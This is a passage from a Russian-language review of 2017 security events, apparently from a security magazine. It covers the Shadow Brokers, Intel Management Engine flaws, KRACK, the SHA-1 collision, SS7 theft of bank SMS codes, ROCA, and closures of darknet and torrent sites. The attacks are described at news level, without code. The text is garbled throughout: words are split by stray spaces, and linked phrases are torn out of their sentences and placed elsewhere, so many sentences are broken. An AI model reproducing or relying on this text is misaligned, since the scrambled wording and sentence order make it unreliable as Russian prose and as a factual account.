матом  по  телефо ну,  прос то  поз воните  ему
и рас ска жите, что орга низо вали пер вый в мире
опен сор сный  кра удфандинг,  что бы попытать ся
при обре ти киберо ружие, — рас ска зывал Мэтью
Хики.  —  Ока залось,  что,  как  толь ко  день ги
перей дут из наших рук в руки The Shadow Bro-
kers, мы очень рис куем и можем стать сво его
рода  жер твой  юри дичес ких  слож ностей.
Это  ока залось  слиш ком  рис кован но,  нам
посове това ли  ни  при  каких  обсто ятель ствах
не про дол жать даль ше».

Чем сей час занима ется The Shadow Brokers, допод линно неиз вес тно: в пос‐ 
ледний раз груп па «выходи ла на связь» в кон це осе ни. Хотя в теории новые
дам пы хакеров могут содер жать какие‐то инте рес ные дан ные, ИБ‐спе циалис‐ 
ты  нас тро ены  край не  скеп тичес ки.  Дело  в  том,  что,  даже  если  оста вить
за скоб ками эти чес кий аспект, на этот раз зло умыш ленни ки не пре дос тавля‐ 
ют  каких‐либо  серь езных  доказа тель ств  наличия  у  них  цен ной информа ции,
но при этом тре буют огромные сум мы. Кро ме того, один из под писчи ков сер‐ 
виса зло умыш ленни ков уже жаловал ся, что зап латил десят ки тысяч дол ларов
(500 XMR) за совер шенно бес полез ную информа цию. Так что цен ность новых
дам пов пока оста ется под воп росом.

→ Груп па The Shadow Brokers разос лала сво им под писчи кам оче ред ной
дамп и выс тупила с угро зами в адрес неназ ванно го сот рудни ка АНБ

→ The  Shadow  Brokers  рас ска зали  миру  об  экс пло ите  UNITEDRAKE —
модуль ной плат форме для атак на машины, работа ющие под управле‐ 
нием Microsoft Windows  (XP, Windows  Server  2003  и  2008,  Vista, Win‐
dows 7 SP 1 и ниже, а так же Windows 8 и Windows Server 2012)



АППАРАТНЫЕ
ПРОБЛЕМЫ
2017 год ока зал ся богат на рас кры тие информа ции о мно жес тве аппа рат ных
проб лем  в  решени ях  Intel,  Broadcom  и  дру гих  круп ных  про изво дите лей
железа. Как отме чают спе циалис ты Positive Technologies, уяз вимос ти, подоб‐ 
ные багам,  най ден ным в  сос таве  Intel Management Engine,  не могут  не пов‐ 
лечь  за собой пос ледс твий. Если  зло умыш ленни ки суме ют  вос поль зовать ся
такими проб лемами, тар гетиро ван ные ата ки, рав но как и ата ки вымога телей,
могут вый ти на прин ципи аль но новый уро вень. Дан ные поль зовате лей будут
не прос то бло киро вать ся — ата кующие смо гут ломать саму материн скую пла‐ 
ту.

На ибо лее серь езной аппа рат ной проб лемой ухо дяще го года опре делен‐ 
но  мож но  наз вать  устра нение  сра зу 
в про дук тах Intel Management Engine (ME),  Intel Server Platform Services (SPS)
и  Intel  Trusted  Execution  Engine  (TXE). Об  уяз вимос тях  в  кон це  нояб ря  сооб‐ 
щили сами инже неры ком пании Intel.

нес коль ких  серь езных  уяз вимос тей

По  сути,  дан ные  баги  поз воля ют  ата кующе му  уста нав ливать  рут киты
на  уяз вимые  ПК  и  про воци ровать  отказ  в  их  работе,  а  так же  извле кать
информа цию,  обра баты ваемую  про цес сором.  Хотя  для  экс плу ата ции  этих
проб лем чаще все го  тре бует ся локаль ный дос туп  (и луч ше все го в  качес тве
адми нис тра тора  или  при виле гиро ван ного  поль зовате ля),  это  не  слиш ком
помога ет сни зить их потен циаль ную опас ность.

По дан ным Intel, най ден ные проб лемы опас ны для сле дующих про дук тов:
6, 7 и 8‐го поколе ний про цес соров Intel® Core™;•
про цес соров Intel® Xeon® E3‐1200 v5 и v6;•
про цес соров Intel® Xeon® линей ки Scalable;•
про цес соров Intel® Xeon® линей ки W;•
про цес соров Intel® Atom® линей ки C3000;•
про цес соров Apollo Lake Intel® Atom серии E3900;•
про цес соров Apollo Lake Intel® Pentium™;•
про цес соров Celeron™ серий N и J.•

Та ким  обра зом,  уяз вимос ти  пред став ляют  угро зу  для мил лионов  устрой ств,
работа ющих  на  базе  дан ных  CPU.  Хотя  раз работ чики  Intel  уже  под готови ли
соот ветс тву ющие  пат чи,  исправ ления  не  будут  дос тупны  широкой  пуб лике,
так как пред назна чают ся для вен доров, которые дол жны будут самос тоятель‐ 
но интегри ровать «зап латки» в свои решения. Некото рые про изво дите ли 

 о при мер ных сро ках выхода готовя щих ся пат чей, тог да как дру гие
.

уже
сооб щили
пред почли отклю чить Intel Management Engine вов се

Нуж но отме тить, что ИБ‐спе циалис ты неред ко называ ют бэк дором сам In‐
tel  Management  Engine  (ME),  который  поз воля ет  уста нав ливать  уда лен ное
соеди нение с ПК пос редс твом Intel Active Management Technology (AMT).

На пом ню, что Intel Management Engine — это зак рытая тех нология, которая
пред став ляет  собой  интегри рован ный  в  мик росхе му  Platform  Controller  Hub
(PCH)  мик рокон трол лер  с  набором  встро енных  перифе рий ных  устрой ств.
Имен но  через  PCH  про ходит  поч ти  все  обще ние  про цес сора  с  внеш ними
устрой ства ми,  то  есть  Intel  ME  име ет  дос туп  прак тичес ки  ко  всем  дан ным
на  компь юте ре  и  воз можность  исполнять  сто рон ний  код,  что  в  теории  поз‐ 
воля ет пол ностью ском про мети ровать плат форму пос редс твом ME.

Бо лее  того,  Intel ME работа ет  отдель но от  все го  осталь ного,  даже  ког да
компь ютер  вык лючен,  то  есть  ком про мета цию  через  Intel ME  вряд  ли  обна‐ 
ружат стан дар тные защит ные решения. Они поп росту ее «не уви дят».

Intel ME инте ресу ет и бес поко ит спе циалис тов уже дав но, но в пос леднее
вре мя их инте рес еще воз рос. Так, одной из при чин была  , обна‐ 
ружен ная вес ной 2017 года, а летом и вов се ста ло извес тно, что тех нологию
ME для обхо да фай рво лов  .

уяз вимость

экс плу ати руют хакеры
Кро ме  того,  инте рес  ИБ‐экспер тов  подог рел  недав ний  переход  дан ной

под систе мы на новую аппа рат ную (x86) и прог рам мную (дорабо тан ный MINIX
в качес тве опе раци онной сис темы) архи тек туры. Так, экспер ты Positive Tech‐
nologies,    в  кон це  лета  спо соб  час тично го  обхо да  ME,  объ‐ 
ясня ли,  что  при мене ние  плат формы  x86  поз воля ет  исполь зовать  всю мощь
средств  ана лиза  бинар ного  кода,  что  ранее  было  зат рудни тель но,  так
как до 11‐й вер сии исполь зовалось ядро с малорас простра нен ной сис темой
команд — ARC.

пред ста вив шие

Как  уже  было  ска зано  выше,  ряд  про изво дите лей  (а  имен но  ком пании
Purism, Dell и System76) при няли решение отка зать ся от исполь зования  Intel
ME в сво их про дук тах вооб ще. Хотя раз работ чики отме тили, что отклю чение
это го  механиз ма  ока залось  нет риви аль ной  задачей,  деак тивация  все  же
увен чалась успе хом.

→ Спе циалис ты Google Project Zero обна ружи ли RCE‐уяз вимость в Wi‐Fi
SoC (System on Chip) ком пании Broadcom. Дан ные решения исполь‐ 
зуют ся во мно жес тве устрой ств, в том чис ле в смар тфо нах Samsung,
Nexus 5, 6 и 6P, а так же во всех моделях  iPhone, начиная с  iPhone 4,
и новых iPod и iPad

→ Не зави симый  эксперт  выявил  RCE‐уяз вимость  в  семей стве  чипов
Broadcom  BCM43xx,  которые  мож но  най ти  в  устрой ствах  Apple,
Google (Nexus), Samsung, HTC, LG и дру гих

→ На кон ферен ции Black Hat USA рас ска зали о нес коль ких уяз вимос тях
в  импле мен таци ях  Intel  UEFI  BIOS,  которые  исполь зуют мно гие  про‐ 
изво дите ли  материн ских  плат.  Баги  поз воля ют  обой ти  защит ные
механиз мы BIOS, в том чис ле Intel Boot Guard и Intel BIOS Guard, а так‐ 
же изме нить или под менить сам UEFI BIOS, к при меру внед рив в него
рут кит



КРИПТОГРАФИЧЕСКИЕ
ПРОБЛЕМЫ
К сожале нию,  уяз вимос ти  и  недос татки  регуляр но  обна ружи вают  не  толь ко
в при ложе ниях и железе, их  так же находят в сос таве про токо лов и алго рит‐ 
мов,  и  в  теории  такие  баги  могут  пов лечь  за  собой  нас тоящий  эффект
домино.

KRACK
В  WPA2  обна ружи ли  целый  ком плекс  уяз вимос тей,  получив ший  наз вание
KRACK (аббре виату ра от Key Reinstallation Attacks). О проб лемах миру сооб‐ 
щила свод ная груп па иссле дова телей, в которую вош ли: Мэти Ван хоф (Mathy
Vanhoef) и Фрэнк Пис сенс (Frank Piessens) из Лёвен ско го католи чес кого уни‐ 
вер ситета, Малихех Шир ванян  (Maliheh Shirvanian)  и Нитеш Сак сена  (Nitesh
Saxena) из Ала бам ско го уни вер ситета в Бир минге ме, Юн Ли (Yong Li) из ком‐ 
пании  Huawei  Technologies,  а  так же  пред ста витель  Рур ско го  уни вер ситета
Свен Шеге (Sven Schäge).

Кра еуголь ный  камень  проб лемы —  четыре хэле мен тный  хен дшейк  WPA2.
Дан ный  хен дшейк  осу щест вля ется,  ког да  кли ент  хочет  под клю чить ся
к защищен ной сети Wi‐Fi. Он исполь зует ся для под твержде ния того, что обе
сто роны (кли ент и точ ка дос тупа) обла дают кор рек тны ми учет ными дан ными.
В то же вре мя хен дшейк исполь зует ся для сог ласова ния све жего клю ча шиф‐ 
рования,  который  впос ледс твии  будет  при менять ся  для  защиты  тра фика.
В  нас тоящее  вре мя  прак тичес ки  все  защищен ные  Wi‐Fi‐сети  исполь зуют
имен но  такой,  четыре хэле мен тный  хен дшейк.  Что  дела ет  их  все  уяз вимыми
перед какой‐либо вари ацией атак KRACK.

«Ата ка работа ет про тив час тных и кор поратив- 
ных  Wi-Fi-сетей,  про тив  уста рев шего  WPA
и  све жего  стан дарта  WPA2  и  даже  про тив
сетей,  которые  исполь зуют  исклю читель но
AES. Все наши ата ки, нап равлен ные на WPA2,
исполь зуют  новатор скую  тех нику  реин стал- 
ляции клю чей (key reinstallation)», — объ ясня ют
авто ры KRACK.

По сути, KRACK поз воля ет устро ить ата ку типа man in the middle и при нудить
учас тни ков  сети  выпол нить  реин стал ляцию  клю чей  шиф рования,  которые
защища ют  тра фик WPA2. К  тому же, если сеть нас тро ена на исполь зование
WPA‐TKIP или GCMP, зло умыш ленник смо жет не толь ко прос лушивать тра фик
WPA2, но и инжекти ровать пакеты в дан ные жер твы.

Ме тод KRACK уни вер сален и работа ет про тив любых  устрой ств,  под клю‐ 
чен ных  к  Wi‐Fi‐сети.  То  есть  в  опас ности  абсо лют но  все  поль зовате ли  An‐
droid,  Linux,  iOS,  macOS,  Windows,  OpenBSD,  а  так же  мно гочис ленные  IoT‐
устрой ства. Единс твен ная  хорошая новость — ата кующий обя затель но дол‐ 
жен находить ся в зоне дей ствия целевой Wi‐Fi‐сети, то есть ата ку не получит‐ 
ся про вес ти уда лен но.

При  этом  иссле дова тели  отме чают,  что  для  атак  на  раз личные  сис темы
при дет ся исполь зовать раз ные вари ации KRACK. Сте пень серь езности проб‐ 
лем  тоже  варь иру ется.  К  при меру,  спе циалис ты  пишут,  что  ата ки  на  Linux
и  Android  (стар ше  вер сии  6.0)  могут  носить  «катас тро фичес кий  харак тер»
из‐за исполь зования кли ента wpa_supplicant. Дело в том, что в слу чае экс плу‐ 
ата ции най ден ных уяз вимос тей wpa_supplicant 2.4 и выше не прос то про изве‐ 
дет реин стал ляцию реаль ного клю ча, но уста новит ключ, сос тоящий из одних
нулей.

Уяз вимос тям,  вошед шим  в  сос тав  KRACK,  были  прис воены  сле дующие
иден тифика торы:  CVE‐2017‐13077,  CVE‐2017‐13078,  CVE‐2017‐13079,  CVE‐
2017‐13080,  CVE‐2017‐13081,  CVE‐2017‐13082,  CVE‐2017‐13084,  CVE‐2017‐
13086, CVE‐2017‐13087 и CVE‐2017‐13088.

В ито ге сло жилась инте рес ная ситу ация, ког да пат чить нуж но прак тичес ки
все. Уяз вимы как сами точ ки дос тупа, так и под клю чен ные к ним устрой ства.
Хотя  спе циалис ты  полага ют,  что  боль шинс тво  атак  в  будущем  при дет ся
непос редс твен но на кли енты, обно вить в любом слу чае нуж но все. К тому же
некото рые устрой ства могут одновре мен но быть точ кой дос тупа и кли ентом,
к  при меру  бес про вод ные  репите ры.  На    мы  соб рали
спи сок  уяз вимых  про изво дите лей,  вышед ших  и  зап ланиро ван ных  обновле‐ 
ний.

спе циаль ной  стра нице

Взлом SHA-1
Ал горитм  хеширо вания SHA‐1 был раз работан еще  в  1995  году  спе циалис‐ 
тами АНБ, сов мес тно с уче ными из NIST (Наци ональ ный инсти тут стан дартов
и  тех нологий  США).  Пер вые  приз наки  уста рева ния  это го  алго рит ма,  дол го
слу жив шего  верой  и  прав дой,  ана лити ки  ста ли  обна ружи вать
еще  в  2005  году:  имен но  тог да  экспер ты  загово рили  о  потен циаль ной  воз‐ 
можнос ти взло ма SHA‐1 через кол лизи онную ата ку, что в теории давало зло‐ 
умыш ленни кам  воз можность  соз дать  под дель ный  файл,  с  таким  же  SHA‐
1 хешем, как у нас тоящей вер сии фай ла.

Крип тогра фы  и  экспер ты  дав но  говори ли  о  необ ходимос ти  перехо да
на  более  стой кие  SHA‐2  и  SHA‐3,  и  ком пании  прис лушива лись  к  этим
советам. Так, орга низа ция Mozilla объ яви ла о прек ращении под дер жки SHA‐
1 в Firefox 52, а так же от SHA‐1 уже отка зались и раз работ чики Chrome. Тем
не менее до недав них пор дис куссии о ненадеж ности SHA‐1 велись исклю‐ 
читель но  в  теоре тичес ком  поле,  так  как  фак тичес ки  взлом  алго рит ма  про‐ 
демонс три рован не был.

Бли же все го к фак тичес кой ком про мета ции SHA‐1 подош ла свод ная груп‐ 
па  уче ных,  осенью  2015  года  пред ста вив шая  док лад  под  наз вани ем
The  SHAppening.  Тог да  экспер ты  доказа ли,  что  SHA‐1  уяз вим  к  ата кам,
которые они наз вали freestart collision. Ата ка опи рает ся на кол лизии хеш‐фун‐ 
кций.

О  том,  что  подоб ное  воз можно,  еще  в  2012  году  писал извес тный  крип‐ 
тограф и писатель Брюс Шнай ер (Bruce Schneier). Он полагал, что про веде‐ 
ние  подоб ной  ата ки  к  2015  году  будет  оце нивать ся  в  700  тысяч  дол ларов,
а  к  2018  году  в  173  тысячи  дол ларов. Одна ко Шнай ер  ошиб ся.  По  дан ным
иссле дова телей,  в  2015  году  ата ка  обош лась  бы  хакерам  лишь  в  75–
120  тысяч  дол ларов.  Такое  ста ло  воз можно  бла года ря  раз работан ной  уче‐ 
ными тех нике boomeranging, исполь зующей GPU. Имен но вско ре пос ле пуб‐ 
ликации это го док лада Mozilla, Microsoft и Google объ яви ли о сво ем решении
пос корее «рас стать ся» с SHA‐1.

В фев рале 2017 года SHA‐1 был повер жен окон чатель но ста рани ями спе‐ 
циалис тов ком пании Google, при под дер жке уче ных из нидер ланд ско го Cen‐
trum Wiskunde &  Informatica  (Центр матема тики и информа тики), работав ших
и  над  док ладом  The  SHAppening.  Иссле дова тели  ,
в котором рас ска зали о пер вой реаль но осу щест влен ной кол лизи онной ата ке
на SHA‐1, получив шей имя SHAttered.

пред ста вили  отчет

Единс твен ная хорошая новость зак люча ется в том, что инже неры Google опи‐ 
сыва ют  ата ку  как  «один  из  наибо лее мас сивных  вычис литель ных  про цес сов
на все вре мена», то есть сколь‐нибудь ско ро пов торить про делан ную коман‐ 
дой работу вряд ли кому‐то удас тся.

Хо тя  угро за  пов торения  таких  атак  зло умыш ленни ками  пока  мала,  спе‐ 
циалис ты  все  же  отло жили  пуб ликацию  proof‐of‐concept  кода  на  стан дар‐ 
тные 90 дней,  давая  ком пани ям  три месяца на под готов ку. Сто ит  понимать,
что  компь ютер ные  вычис ления  ста новят ся  дешев ле  день  ото  дня,  и  ско ро
на генера цию кас томно го SHA‐1 хеша будут ухо дить месяцы или и того мень‐ 
ше.

Ис сле дова тели при водят инте рес ную ста тис тику, которая хорошо помога‐ 
ет понять мас штаб про делан ной ими работы. Так, для реали зации ата ки пот‐ 
ребова лось  осу щес твить  9  223  372  036  854  775  808  опе раций.  Один  CPU
занимал ся  бы  эти ми  вычис лени ями  6500  лет,  а  у  одно го  GPU
ушло бы 110 лет. Ата ка SHAttered в 100  тысяч раз быс трее брут форс‐ата ки,
полага ющей ся  на  парадокс  дней  рож дений,  то  есть  на  брут форс‐ата ку
у одно го GPU ушло бы око ло 12 мил лионов лет.

Ба ги в SS7
Эк спер ты  уже  дав но  пре дуп режда ют  о  небезо пас ности  набора  сиг наль ных
телефон ных  про токо лов  SS7  (или  ОКС‐7,  Сис тема  сиг нализа ции  №   7),
который до сих пор исполь зуют опе рато ры свя зи по все му миру. Дело в том,
что SS7 был раз работан еще в 1975‐м, а в нас тоящее вре мя он без надеж но
уста рел и фак тичес ки не име ет никакой защиты.

Ис сле дова тели не раз доказы вали небезо пас ность SS7 и даже опи сыва ли
воз можные  спо собы  экс плу ата ции  проб лем  сте ка.  К  при меру,  немец кий
эксперт  Тоби ас  Энгель  (Tobias  Engel)  дваж ды  выс тупал  на  кон ферен ции
Chaos Communication Congress в 2010 и 2014 годах, пре дуп реждая о том, что
при помощи SS7 мож но обна ружить и отсле дить прак тичес ки любого жителя
пла неты, прос то зная его телефон ный номер.

В том же 2014 году спе циалис ты ком пании Positive Technologies Дмит рий
Кур батов  и  Сер гей  Пузан ков  пред ста вили  док лад  на  кон ферен ции  Positive
Hack Days, в котором рас ска зыва ли не толь ко о прос лушке, но и о мно гих дру‐ 
гих воз можнос тях хакеров в сиг наль ной сети SS7 (вклю чая DoS‐ата ки, фрод,
перевод  денег,  перех ват  SMS‐сооб щений  и  опре деле ние  мес тополо жения
або нен та без его ведома).

Тем не менее за про шед шие годы ник то ни разу не сооб щал о реаль ных
ата ках с исполь зовани ем SS7. Пер вый слу чай экс плу ата ции уяз вимос тей зло‐ 
умыш ленни ками  уда лось  обна ружить  жур налис там  немец кого  изда ния  Süd‐
deutsche Zeitung. В мае 2017 года 

, сог ласно которо му прес тупни ки ата куют SS7, что бы
обхо дить  двух фактор ную  аутен тифика цию  бан ков  и  осу щест влять  неав‐ 
торизо ван ные тран закции с чужих сче тов.

жур налис ты пред ста вили резуль таты собс‐ 
твен ного рас сле дова ния

По  дан ным  изда ния,  сна чала  зло умыш ленни ки  собира ют  информа цию
о  бан ков ском  акка унте  жер твы,  ее  учет ных  дан ных  и  номере  телефо на,
исполь зуя для это го мал варь или фишинг. Затем прес тупни ки совер шают ата‐ 
ку на SS7, что бы узнать иден тифика тор mTAN (mobile transaction authentication
number),  который  банк  отправ ляет  в  SMS‐сооб щении.  По  сути,  mTAN  —
это  одно разо вый  пароль,  который  бан ки  исполь зуют  для  под твержде ния
тран закций.  Ата ка  поз воля ет  пере адре совать  SMS‐сооб щение  с  паролем
на  номер,  под кон троль ный  зло умыш ленни кам,  пос ле  чего  оста ется  лишь
перевес ти средс тва.

Тот  факт,  что  немец кие  поль зовате ли  ста новят ся  жер тва ми  таких  атак,
жур налис там  под твер дили  пред ста вите ли  телеком муника цион ной  ком пании
O2‐Telefonica.  По  их  сло вам,  ата ки  начались  в  середи не  янва ря  2017  года
и исхо дят из сетей зарубеж ных сотовых опе рато ров. При этом спе циалис ты
под черки вают,  что  для  реали зации  подоб ных  атак  пот ребу ется  обо рудо‐ 
вание,  которое  мож но  дос тать  в  откры той  про даже,  и  его  сум марная  сто‐ 
имость вряд ли пре высит тысячу дол ларов.

ROCA
Trusted platform module (TPM) исполь зуют ся в бес счет ном количес тве устрой‐ 
ств и гад жетов для генера ции RSA‐клю чей для VPN, шиф рования дис ков, дос‐ 
тупа к обыч ным акка унтам, работы с сер тифика тами и так далее.

Свод ная груп па спе циалис тов, в которую вош ли пред ста вите ли чеш ско го
Масари кова  уни вер ситета,  италь янско го  уни вер ситета  Ка‐Фос кари  и  ком‐ 
пании Enigma Bridge, сооб щила, что все TPM ком пании Infineon Technologies,
выпущен ные  пос ле  2012  года,  содер жат  уяз вимость,  ослабля ющую  крип‐ 
тогра фию, из‐за чего надеж ность RSA‐клю чей ока зыва ется под боль шим воп‐ 
росом. Баг рас простра няет ся на TPM на базе спе цифи каций TCG 1.2 и 2.0.

Спе циалис ты    (Return  of  Coppersmith’s  Attack),
ей был прис воен иден тифика тор CVE‐2017‐15361.

да ли  проб леме  имя  ROCA

Проб лема получи ла широкую огласку в октябре 2017 года, ког да Microsoft
пред ста вила  свой  еже месяч ный  набор  обновле ний.  В  бюл летене  AD‐
V170012  ком пания пре дуп режда ла о проб лемах с  крип тогра фией в TPM  Infi‐
neon  Technologies  и  сооб щила,  что  раз реша ет  исполь зование  соф твер ных
алго рит мов для генера ции более надеж ных RSA‐клю чей.

Проб лема зат ронула мно жес тво устрой ств, вклю чая про дук ты HP, Acer, Fu‐
jitsu, Lenovo, LG, «Хром буки» и так далее. При чем устрой ства могут быть уяз‐ 
вимы вне зависи мос ти от исполь зуемой опе раци онной сис темы, в опас ности
находит ся  любая  ОС,  работа ющая  с  проб лемны ми  TPM.  Так же  уяз вимость
пред став ляет  угро зу  для  некото рых  токенов  Yubikey  4,  генери рующих
ненадеж ные  аутен тифика цион ные  клю чи,  из‐за  чего  теперь  их  вла дель цам
как мож но ско рее нуж на замена.

Еще силь нее ROCA уда рила по выпущен ным в Эсто нии иден тифика цион‐ 
ным кар там, осна щен ным спе циаль ным чипом и поз воля ющим исполь зовать
крип тогра фичес кие  под писи  для  некото рых  опе раций.  Ока залось,  что  уяз‐ 
вимость  кос нулась швей цар ской  ком пании Gemalto  AG,  которая  ранее  при‐ 
обре ла  фир му  Trub  AG,  раз работав шую  и  пос тавля ющую  Эсто нии  иден‐ 
тифика цион ные  кар ты  для  граж дан.  Как  показа ло  про веден ное  эстон ски ми
влас тями  рас сле дова ние,  уяз вимос ти  под верже ны  все  ID,  выпущен ные
в пери од с 14 октября 2014 года по 26 октября 2017 года. В ито ге еще в сен‐ 
тябре 2017  года влас ти стра ны начали уве дом лять вла дель цев карт о необ‐ 
ходимос ти обновле ния удос товере ний лич ности.

В  конеч ном сче те в нояб ре 2017  года влас ти стра ны решили оста новить
дей ствие сер тифика тов ID‐карт из груп пы рис ка. Кар ты про дол жали дей ство‐ 
вать  в  качес тве  удос товере ния  лич ности,  но  их  ста ло  невоз можно  исполь‐ 
зовать,  к  при меру,  для  покуп ки  лекарств  по  элек трон ным рецеп там,  работы
с налога ми и для дру гих опе раций, в которых задей ство ван крип тогра фичес‐ 
кий ключ.

Карт с зак рытыми сер тифика тами нас читыва ется поряд ка 760 тысяч, и для
их обновле ния жителям необ ходимо обра тить ся в пред ста витель ства Депар‐ 
тамен та  полиции  и  пог ранох раны  или  вос поль зовать ся  соот ветс тву ющей
услу гой  в  режиме  онлайн.  Обновле ние  сер тифика тов  стар товало  в  нояб‐ 
ре 2017 года и прод лится до 31 мар та 2018 года. Пос ле 1 апре ля 2018 года,
по  сооб ражени ям  безопас ности,  все  необ новлен ные  сер тифика ты  будут
анну лиро ваны.

Спе циалис ты,  обна ружив шие  ROCA,  писали,  что  при менить  проб лему
на прак тике, исполь зовав ее для мас совых атак, вряд ли получит ся, так как это
невыгод но для зло умыш ленни ков с эко номи чес кой точ ки зре ния. Дело в том,
что  вос создать  1024‐бит ный  ключ,  опи раясь  на  откры тый  ключ,  получит ся
за  при мер но  97  дней  работы  CPU,  и  это  будет  сто ить  40–80  дол ларов,
но для 2048‐бит ного клю ча понадо бит ся уже 51 400 дней и 20–40 тысяч дол‐ 
ларов. Впро чем, взлом 512‐бит ного клю ча зай мет все го два часа и обой дет‐ 
ся лишь в шесть цен тов.

С  эти ми  вывода ми    незави симые  ИБ‐экспер ты  Дэни ел
Берн штейн (Daniel J. Bernstein) и Таня Лэндж (Tanja Lange). Они опуб ликова ли
деталь ное иссле дова ние, сог ласно которо му экс плу ата ция ROCA на прак тике
может ока зать ся дешев ле и про ще, чем пред полага лось изна чаль но.

не  сог ласились

Хо тя  Берн штейн  и  Лэндж  пытались  вос про извести  ата ку,  имея  на  руках
лишь  огра ничен ные  дан ные,  опуб ликован ные  пер вой  груп пой  иссле дова‐ 
телей, у них не прос то все получи лось, но они даже наш ли спо соб уско рить
нахож дение 2048‐бит ного клю ча на 5–25% и зна читель но сни зить сто имость
ата ки.

→ Спе циалис ты  ком пании Venafi  под счи тали,  что  алго ритм SHA‐1,  нев‐ 
зирая на его небезо пас ность, по‐преж нему исполь зуют 21% сай тов,
то есть каж дый пятый ресурс

→ Свод ная коман да иссле дова телей рас ска зала об опас ной уяз вимос ти
в  про токо ле  сетевой  аутен тифика ции  Kerberos,  которая  поз воля ет
пол ностью  обой ти  всю  про цеду ру  аутен тифика ции.  Баг  появил ся
в коде Kerberos еще в 1996 году и зат рагива ет две из трех импле мен‐ 
таций про токо ла: Heimdal Kerberos и Microsoft Kerberos

→ Эк спер ты  обо рон ного  науч но‐тех ничес кого  уни вер ситета  Народ‐ 
но‐осво боди тель ной  армии  Китая  опи сали  новый  спо соб  атак
на алго рит мы шиф рования стан дарта спут никовой телефо нии GMR‐2.
Ата ка может занимать доли секун ды, пос ле чего прес тупник получа ет
в  свое  рас поряже ние  ключ  шиф рования  и  воз можность  «слу шать»
перего воры в режиме реаль ного вре мени

→ Ис сле дова тели Пен силь ван ско го уни вер ситета и Уни вер ситета Джон‐ 
са  Хоп кинса  обна ружи ли  проб лему  DUHK  (Don’t  Use  Hard‐coded
Keys). Кор ни уяз вимос ти ухо дят к исполь зованию генера тора слу чай‐ 
ных  чисел  ANSI  X9.31,  который  широко  при меня ется  для  соз дания
клю чей  шиф рования  для  VPN‐соеди нений,  бра узер ных  сес сий  и  не
толь ко

→ Об наруже на новая вари ация ата ки Блей хен бахера, которой дали наз‐ 
вание  ROBOT  (Return  Of  Bleichenbacher’s  Oracle  Threat).  Проб лема
поз воля ет  узнать  чужие  RSA‐клю чи,  и  перед  ней  уяз‐ 
вимы 27 из 100 наибо лее популяр ных в интерне те сай тов по вер сии
Alexa, в том чис ле Facebook и PayPal



Каж дый день  в  интерне те и  на его  «тем ной сто роне»  зак рыва ется мно жес тво
сай тов. О некото рых из них ник то не вспом нит уже через неделю, но зак рытие
дру гих может иметь серь езные и далеко иду щие пос ледс твия.

,
КОТОРЫЙ МЫ
ПОТЕРЯЛИ

ИНТЕРНЕТ

Не ожи дан но  прек ратил  свою  работу
один  из  круп ней ших  и  наибо лее
популяр ных поч товых сер висов в дар‐ 
кне те,  .  Сер вис  сущес тво вал
с 2015 года, им поль зовалось поряд‐ 
ка 42 тысяч человек.

Sigaint

Зак рытие  Sigaint  свя зыва ют  с  раз‐ 
рушитель ной  ата кой  на  популяр ного
в  дар кне те  хос тинг‐про вай дера 

.  В  начале  фев‐ 
раля  2017  года  хос тера  взло мали,
в резуль тате чего были ском про мети‐ 
рова ны 10 613 .onion‐сай тов. На всех
пос тра дав ших  ресур сах  появи лось
оди нако вое  дефейс‐сооб щение,
в  котором  хакер  объ яснял  свои  дей‐ 
ствия.  Как  ока залось,  взлом щик
решил  «наказать»  хос тинг‐про вай‐ 
дера за дет ское пор но, которое в изо‐ 
билии  обна ружи лось  на  сер верах
Freedom Hosting II.

Free‐
dom  Hosting  II

Ис сле дова тель ница  Сара  Джей ми
Льюис  (Sarah  Jamie  Lewis),  пред став‐ 
ляющая  про ект  OnionScan, 

,  что  ата ка  на  Freedom  Hosting  II
зат ронула  огромную  часть  дар кне та.
Спус тя  месяц  пос ле  инци ден та
из  30  тысяч  Tor‐сер висов,  извес тных
про екту  ранее,  активны ми  оста лись
лишь око ло 4400.

под счи‐ 
тала

Об  окон чатель ном  зак рытии  сер виса
сооб щили  адми нис тра торы  неког да
популяр ного  тор рент‐тре кера 
.  Начав шись  как  «пират ский»

ресурс,  Mininova  пытал ся  работать
закон но  с  2009  года.  Тре кер  сумел
стать одним из самых круп ных легаль‐ 
ных  тор рент‐пор талов  в  интерне те,
с  него  заг рузили  более  950  мил‐ 
лионов легаль ных тор рентов.

Minino‐
va

Прек ратила работу одна из ста рей ших
тор говых  пло щадок  в  дар кне те,

.  Ресурс  был  осно ван
еще  в  2013  году.  Адми нис тра ция
сооб щила,  что  ресурс  был  взло ман,
одна ко  поль зовате ли  все  рав но
подоз рева ют,  что  опе рато ры  поп‐ 
росту сбе жали с чужими день гами.

Outlaw

Так же в мае 2017 года окон чатель но
зак рылся  вто рой  по  популяр ности
пос ле  The  Pirate  Bay  тор рент‐тре кер

.  Опе рато ры  ресур са
не  сооб щили,  что  пос лужило  при‐ 
чиной зак рытия, и не ста ли вда вать ся
в детали.

ExtraTorrent

В резуль тате круп ной меж дународ ной
круп ной  опе рации  была  прек ращена
деятель ность  сра зу  двух  лидиру ющих
дар кнет‐мар кетов: 

.  В  зак рытии  тор говых  пло‐ 
щадок при няли учас тие США, Канада,
Таиланд, Гол ландия, Великоб ритания,
Фран ция, Лит ва, а так же пред ста вите‐ 
ли  Евро пола,  ФБР  и  Управле ния
по  борь бе  с  нар котика ми.  Задер‐ 
жанный руково дитель AlphaBay покон‐ 
чил с собой в камере тай ской тюрь мы.

AlphaBay  и  Hansa
Market

Не ожи дан но  зак рылся  один
из  наибо лее  круп ных  мик сер‐сер‐ 
висов  в  мире,  .  Адми нис тра‐ 
торы  ресур са  пояс нили,  что  работа
мик серов  про тиво речит  самой  сути
Bitcoin,  проз рачной  и  неано ним ной
по  сво ей  при роде  сис темы.  Ранее
опе рато рам  сай та  казалось,  что
у поль зовате лей бит кой на есть пра во
на  ано ним ность  и  при ват ность,
но  вре мя  показа ло,  что  это  не  так,
а «блок чейн — это откры тая кни га».

BitMixer
В офлайн ушла круп ная  крип товалют‐ 
ная  бир жа  .  Как  ока залось,
проб лемы  обменни ка  были  свя заны
с  арес том  его  руково дите ля,  граж‐ 
данина  Рос сии  Алек сан дра  Вин ника.
Сто ит  ска зать,  что  осенью  про ект
«воз родил ся»  под  новым  наз вани ем
WEX.

BTC‐e

О  зак рытии  объ явил  сайт  ,
один из ведущих пос тавщи ков «пират‐ 
ско го»  HD‐  и  3D‐кон тента  в  рунете
и  не  толь ко.  Имен но  релизы  HDClub
зачас тую  рас простра нялись  на  The
Pirate  Bay  и  дру гих  круп ных  тре керах.
Про рабо тав ший  более  десяти  лет
сайт  нас читывал  поряд ка  170  тысяч
